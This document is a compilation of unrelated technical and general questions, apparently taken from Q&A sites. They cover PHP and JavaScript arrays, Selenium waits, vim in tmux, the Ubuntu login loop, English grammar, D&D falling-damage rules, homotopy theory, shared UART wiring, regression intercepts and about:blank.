We know that Luke Skywalker vanished after       Kylo Ren killed his students.   But, for some reason, there’s a map to his location. That seems odd for someone who doesn’t want to be found, at least not by the wrong people.


Supposing you have an object:  $arr = array(    array('name' => 'toto', 'firstname' => 'abc'),    array('name' => 'toto2', 'firstname' => 'aaa') );   I want to order it by name AND firstname. You cannot use keyword "use" for old version of php like 5.2. If a general function is not possible, then build a function for this specific case.  Thanks.

I have two arrays in PHP. The first array ($author_array) is comprised of user_ids in a particular order, like so: (8, 1, 6)  The second array ($user_results) is comprised of an array of objects like so:  Array (     [0] => stdClass Object         (             [ID] => 1             [user_login] => user1         )     [1] => stdClass Object         (             [ID] => 6             [user_login] => user6         )     [2] => stdClass Object         (             [ID] => 8             [user_login] => user8         ) )   I'd like to "sort" the second array so it's in this order, which matches the order of the values in the first array of (8, 1, 6). So it'd look like this:  Array (     [0] => stdClass Object         (             [ID] => 8             [user_login] => user8         )     [1] => stdClass Object         (             [ID] => 1             [user_login] => user1         )     [2] => stdClass Object         (             [ID] => 6             [user_login] => user6         ) )   I'm weak on data structures. How could I do this? :-)  Thanks in advance for your help!  -Bob


This is the error I am getting below:     selenium.common.exceptions.NoSuchElementException: Message: no such   element: Unable to locate element:   {"method":"xpath","selector":"//*[@id="select-input-a7c294b6-e242-44b4-b153-67f6f42ecf77-opt-0"]"}   I am adding sleep(10) testing to see if the page isn't loading but this isn't the case.  This is what I am using:   self.driver_web.find_element_by_xpath('//*[@id="select-input-a7c294b6-e242-44b4-b153-67f6f42ecf77-opt-0"]').click()

I have the following code:  List<MobileElement> messages = driver.findElements (By.id ("body_bubble")); //find all messages MobileElement lastMessage = messages.get (messages.size () - 1); //get last message  // xpath query to check if the message is delivered String xpathDeliveryStatus = ".//*[contains(@resource-id, 'delivered_indicator') or contains(@resource-id, 'read_indicator') or contains(@resource-id, 'sent_indicator')]";  MobileElement deliveryStatus = lastMessage.findElement (By.xpath (xpathDeliveryStatus));   I want to do the same except that I want to find the deliveryStatus variable using explicit wait.  So I want to find the deliveryStatus variable inside the lastMessage variable using  wait.until (ExpectedConditions.visibilityOfElementLocated (By.locator))   How can I do this?  I don't want to do it using one immense Xpath. Besides, I don't even know how to find the last element with the id body_bubble using Xpath, as the number of these elements is not fixed and always changing.  P.S. For example, in Python we can define WebDriverWait with an element in the constructor instead of driver:  WebDriverWait(webelement, self.timeout)  Unfortunately, it does not work in Java.


What is the correct verb tense for the phrase "all you need is", when what follows is a plural?   All you need is paintbrushes and paint. All you need are paintbrushes and paint.   Or is neither incorrect?  Both forms sound funny to me.  Google shows an order of magnitude more hits for  than , but the latter still has ~500K hits, so it seems that both forms are in common use.  (You can also examples of both usages in Google's "News" search.)    Consider a related example:   All is good. All are good.   Both forms are correct, but have slightly different meanings/contexts.  The first is correct if "all" refers to "everything" (singular); the second is correct if "all" refers to an implied concrete set of things, as in "all (the widgets) are good".  This line of reasoning seems to imply the latter form is correct, since "paintbrushes" are concrete things.  (And yet that seems to be the less popular form in common usage, judging by Google hits).

In one of Oasis's songs — Cigarettes and Alcohol — there are two sentences that make me confused:     All I found was cigarettes and alcohol   ...and...     All I need is cigarettes and alcohol   Why would is and was be correct in these sentences instead of are and were, since they're referring to more than one thing?


I have a ternary operator which sees if values in an array are the same as my targeted value. Is there an easy way to do what I'm trying to do to save me a lot of time and hard coding in array indexes. Is there a way to not use a lot of or operator?  I essentially have a long list of array indexes to compare against like this:  (price[0] === this.props.result.cost ||  price[1] === this.props.result.cost ||  price[2] === this.props.result.cost ||  price[3] === this.props.result.cost ||  price[4] === this.props.result.cost )  ? this  : that   I feel like there is something basic that I'm missing or some other way completely to make this an easier task to do.

What is the most concise and efficient way to find out if a JavaScript array contains a value? This is the only way I know to do it: function contains(a, obj) {     for (var i = 0; i < a.length; i++) {         if (a[i] === obj) {             return true;         }     }     return false; }  Is there a better and more concise way to accomplish this?


I have a problem with Ubuntu. I can't log in within LightDM, because when I enter password, Unity starts loading and then it returns right to login screen, and the desktop won't start.  Note: I use home folder for that user from previous installation  Edit: I chowned .Xauthority and still nothing When I try startx, there are some noveau messages (HUB0, GPC0 and hex numbers) Edit2: guest session works and newly created user also works

My Ubuntu is stuck in a login loop when trying to enter my desktop. When I login, the screen gets black and soon after that the login screen comes back.   I've read that the problem might be caused by an error depending on the graphics, here's my graphics card: ATI Radeon 7670M


I've read that in insert mode in vim, one can use <C-Left> and <C-Right> to move by words. This works for me, but only as far as I don't run vim inside tmux terminal splitter.  When inside tmux, <C-Left> instead throws me out of the insert mode and gives an error:     E388: Couldn't find definition   This error is explained in the help to have something to do with definition searching. However, I don't want any definition to be searched for, I want just to move one word to the left. As well, <C-Right> does nothing more than throwing me out of the insert mode, not what I would like.  Reading somewhere that this might be connected to set (no)esckeys, I tried it with both settings of this flag, with the very same result. As well, I have seen the answers in  but they don't appear to help me.  My current .tmux.conf:  # This File is : ~/.tmux.conf  # use "|" and "-" to do vertical/horizontal splits # (press CTRL B and then - or |, CTRL D to close it) unbind % bind | split-window -h bind - split-window -v  # use the vim motion keys to move between panes # (press CTRL B and then h,j,k,l for the move) bind h select-pane -L bind j select-pane -D bind k select-pane -U bind l select-pane -R  # use vim motion keys while in copy mode # To copy, press CTRL B and then [, move, space, move, enter. # To paste, press CTRL B and then ] setw -g mode-keys vi  # make vim work properly inside tmux setw -g xterm-keys on set -g default-terminal "screen-256color"   And .vimrc:  " tabs, indentation, line numbering set ts=4 sts=4 number autoindent sw=4  " sage is python au BufNewFile,BufRead *.sage set filetype=python  if &term =~ '^screen'   " Page keys http://sourceforge.net/p/tmux/tmux-code/ci/master/tree/FAQ   execute "set t_kP=\e[5;*~"   execute "set t_kN=\e[6;*~"    " Arrow keys http://unix.stackexchange.com/a/34723   execute "set <xUp>=\e[1;*A"   execute "set <xDown>=\e[1;*B"   execute "set <xRight>=\e[1;*C"   execute "set <xLeft>=\e[1;*D" endif

This is all in iTerm2 on OS X.  I used to have  export TERM='xterm-256color'   in my .bashrc. This meant Vim in tmux did use 256 colors.  And once I added  set -g xterm-keys on   then keyboard shortcuts with modifiers worked fine in Vim. Namely: shift+left/right that I mapped to switch Vim tabs, ctrl+up/down that I mapped to move ("bubble") lines, and shift+left/right which worked out of the box to jump by word in the command-line mode (e.g. when typing something like :e foo bar baz).  However, this setup had the problem that the Vim background color only shows behind text, as mentioned .  So I removed  export TERM='xterm-256color'   from my .bashrc and instead put this in my .tmux.conf:  set -g default-terminal "screen-256color"   That fixed the Vim background color, but broke the keyboard shortcuts - they do unexpected things (move the cursor, delete text) instead.  By using ctrl+v to insert the verbatim output from the key combinations (as described ), I was able to work around it:  map [1;5A <C-Up> map [1;5B <C-Down> map [1;2D <S-Left> map [1;2C <S-Right> cmap [1;2D <S-Left> cmap [1;2C <S-Right>   This makes the shortcuts work, but it doesn't feel like the right solution. Could anyone tell me what's happening here and how to fix it?


I am trying to find one single word in English that means “unable to decide which one is correct”.

Let's say I have an important decision to make and I can't decide between two competing things (like break up with a girl or not break up with her). What would be a word/idiom to express that?


The situation is as follows:  Boris is a 13th level Illusion Wizard. Boris and his party have proximity to BBEG's hideout city and want to do as much damage as possible to both the city (buildings & infrastructure) and its inhabitants. They have a plan:  They have a method for reaching a height of up to 1km above ground level (whether it be an airship or repeated casts of the Fly spell), and Boris has a plan for eviscerating the BBEG's evil city. He flies up 1km above the city, and begins casting Creation at 7th level to create a 25ft long pointed Tungsten rod in mid air over the city. Tungsten, as per (somewhat rough) 5e rules, should be classed as a non-precious metal - so the rod lasts for a total of 12 hours.  Immediately after being cast, it should begin falling towards the city, and quickly reach terminal velocity. Moments before it hits ground, Boris will use his 6th level feature Malleable Illusions to change the form of the Rod to a 3375 ft3 cube of pure tungsten. The cube has a mass of ~ 1844.5 Metric tonnes (1,844,488.46 kg or 4,066,400.99 lbs for reference), and impacts directly in the centre of the city.  In the real world, if an object such as that had enough mass & velocity, it could generate explosive force equivalent to an atomic explosion.  Assuming any direct reference to how this would function in real life, some form of explosion (AOE damage) would be caused.  According to the rules what happens if I do this? What effects does it cause?  What rules exist that would relate to this scenario - specifically - to the idea that simply dropping an extremely heavy object would displace (with explosive force) a large area of mass at its impact?

If a character who was under the effect of a growth potion (double their height and eight times their weight) and weighed 2,400 lbs. was able to use Dimension Door to teleport 400 feet or more into the air, directly above a Huge-sized monster, and fell on it, how much damage would the falling creature - and the monster - take?  I would assume both would take the 20d6 max for the falling over 200 feet, but is there a estimation on additional damage for the falling creature's size?  According to the splat calculator, at 500 feet you'd be falling at 196 km/hr, and it would expend 1.6 million joules of energy, the equivalent of over 3,000 mid-sized cars hitting an object at 60 km/hr.  A 2,400-lb. barbarian falling 500 feet is like dropping a mid-sized Toyota Corolla off a 50 story building onto a monster - it should do some damage.


Let $X$ be a space and $L$ be a subspace of $X$ that is contractible. Then is $X/L$ homotopy-equivalent to $X$ itself? it doesn't seem trivial to me at al...If so, how to show it rigorously? Could anyone help me?

It is well known that, if $A \subset X$ is a reasonable contractible subspace, then the quotient map $X \to X/A$ is a homotopy equivalence ("reasonable" means that the pair $(X,A)$ has the , e.g. if it is a CW pair). For example, it's proposition 0.17 in Hatcher's celebrated Algebraic Topology.  It seems to me that this result should be a consequence of the following result, which seems true but for which I've been unable to find a proof or a reference.  Proposition? If $X$ is Hausdorff and $\sim$ is an equivalence relation whose classes $C$ are contractible and such that every pair $(X, C)$ has the homotopy extension property, then the quotient map $X \to X/\sim$ is a homotopy equivalence.  The classical result would of course be a direct corollary of this one.   So, is this proposition true?


I want to use a single serial UART port on an mcu to communicate with two different sensors. I have connected both the sensors' TX lines together to mcu's RX line and vice versa. I am switching the sensors ON and OFF in such a manner that at no point in time are both the sensors being powered. Would this configuration work?

I'd like to interface my main microcontroller's hardware serial port to more than one device at the same time. My understanding is that UART on my microcontrollers is based on an active-low 5V TTL.  (I know what I'm explaining here can be technically achieved by using more suited protocols, such as SPI and I2C, but my project requires to be only implemented using UART.)  Here's a pseudo-schematics chart of what I'm trying to achieve:         – Schematic created using   Please note that:   I don't want to use a second UART interface on the master, or any of the slaves. Only one slave at a time is going to transmit or send data on the line to the master. (e.g. If the slave 1 is transmitting data, slave 2 and 3 should remain idle.) Whatever the master is transmitting can, and should be received by all of the slaves. All of the slaves should be hot-pluggable, meaning they could be removed or inserted at any time. The RX and TX wires to the master are parallel between each slave, so no daisy chaining.   So, my questions are as follows:   Assuming the correct impedance is considered, I shouldn't need an additional circuit to transmit data from the master's TX line to any of the slave's RX line simultaneously. Is this correct? I understand that without current limiting resistors between slaves' TX line and the master's RX line, if any of the devices begin to broadcast data, the line between the devices will short circuit and I risk damaging them. Is this correct? Assuming the items 1 and 2 are correct:  a) Would just some current limiting resistors be enough to use?  b) Can I use 74-series logic gates instead of resistors? Between options a and b above, what route should I choose? For a reliable 115200 baud rate connection, will the switching frequency of a 74HC08 AND gate suffice to be incorporated?   EDIT: I'm well aware of other well-suited protocols such as SPI and I2C. There's a reason I'm using UART, and that's because the optiboot bootloader that is used on the master's mcu communicates over UART, albeit UART's obvious limitations.  Also, while daisy-chaining is definitely a clever approach, due to breaking the 4th requirement, it also breaks bootloader functionality.  The devices could also be USB-to-Serial chips, and using SPI-to-USB or I2C-to-USB would not be feasible in this project.  So, I'd appreciate if you could focus on the 6 questions listed here instead, and share your UART knowledge.


I am trying to get my regression right. I want to see, if subs increase how much increase in revenue is seen. The dependent variable is Revenue while the independent variable is subscribers.  Least squares method regression shows the following equation 24.4x - 189,883,443. I can't make sense of it. If subs increase means increase in revenue, then why this?  There is no 0 value and the lowest value for subscribers starts with 10 m while revenue starts with 180 m  How can i make sense of y = 24.4x - 189,883,443. Why is the intercept negative. Does it mean that one sub increase would mean a revenue increase of 24.4  regression excel


What is the page about:blank used for? I was just wondering why is it there. Is it an actual page or just built in? It seems to be completely empty except with the header and body.

All browsers I tested support about:blank as a URL for an empty page. I understand the blank, but where comes the about from?